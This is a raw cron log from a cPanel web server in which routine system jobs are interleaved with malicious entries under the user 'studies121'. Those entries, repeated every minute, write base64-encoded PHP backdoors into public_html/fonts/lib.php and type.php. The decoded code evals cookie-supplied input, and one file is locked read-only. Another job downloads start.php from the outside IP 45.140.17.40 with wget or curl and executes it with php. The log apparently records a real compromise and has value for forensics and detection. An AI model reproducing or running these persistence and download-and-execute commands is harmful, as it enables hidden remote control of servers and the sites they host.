Sep  4 20:28:01 ip-184-168-122-23 CROND[17160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:29:01 ip-184-168-122-23 CROND[17246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:29:01 ip-184-168-122-23 CROND[17247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:29:01 ip-184-168-122-23 CROND[17248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:29:01 ip-184-168-122-23 CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17333]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17334]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:30:01 ip-184-168-122-23 CROND[17343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:30:01 ip-184-168-122-23 CROND[17345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:30:01 ip-184-168-122-23 CROND[17340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:31:01 ip-184-168-122-23 CROND[17436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:31:01 ip-184-168-122-23 CROND[17434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:31:01 ip-184-168-122-23 CROND[17435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:31:01 ip-184-168-122-23 CROND[17437]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:31:01 ip-184-168-122-23 CROND[17438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:32:01 ip-184-168-122-23 CROND[17516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:32:01 ip-184-168-122-23 CROND[17520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:32:01 ip-184-168-122-23 CROND[17519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:32:01 ip-184-168-122-23 CROND[17521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:32:01 ip-184-168-122-23 CROND[17518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:33:01 ip-184-168-122-23 CROND[17628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:33:01 ip-184-168-122-23 CROND[17631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:33:01 ip-184-168-122-23 CROND[17633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:33:01 ip-184-168-122-23 CROND[17636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:34:01 ip-184-168-122-23 CROND[17840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:34:01 ip-184-168-122-23 CROND[17845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:34:01 ip-184-168-122-23 CROND[17842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:34:01 ip-184-168-122-23 CROND[17843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:34:01 ip-184-168-122-23 CROND[17844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:35:01 ip-184-168-122-23 CROND[17940]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 20:35:01 ip-184-168-122-23 CROND[17945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:36:01 ip-184-168-122-23 CROND[18047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:36:01 ip-184-168-122-23 CROND[18050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:36:01 ip-184-168-122-23 CROND[18048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:36:01 ip-184-168-122-23 CROND[18049]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:36:01 ip-184-168-122-23 CROND[18051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:37:01 ip-184-168-122-23 CROND[18137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:37:01 ip-184-168-122-23 CROND[18138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:37:01 ip-184-168-122-23 CROND[18139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:37:01 ip-184-168-122-23 CROND[18140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:38:01 ip-184-168-122-23 CROND[18215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:38:01 ip-184-168-122-23 CROND[18214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:38:01 ip-184-168-122-23 CROND[18213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:38:01 ip-184-168-122-23 CROND[18216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:38:01 ip-184-168-122-23 CROND[18217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:39:01 ip-184-168-122-23 CROND[18389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:39:01 ip-184-168-122-23 CROND[18390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:39:01 ip-184-168-122-23 CROND[18391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:39:01 ip-184-168-122-23 CROND[18393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:39:01 ip-184-168-122-23 CROND[18395]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 20:40:02 ip-184-168-122-23 CROND[18484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:40:02 ip-184-168-122-23 CROND[18487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:40:02 ip-184-168-122-23 CROND[18489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:40:02 ip-184-168-122-23 CROND[18488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:40:02 ip-184-168-122-23 CROND[18491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:40:02 ip-184-168-122-23 CROND[18490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
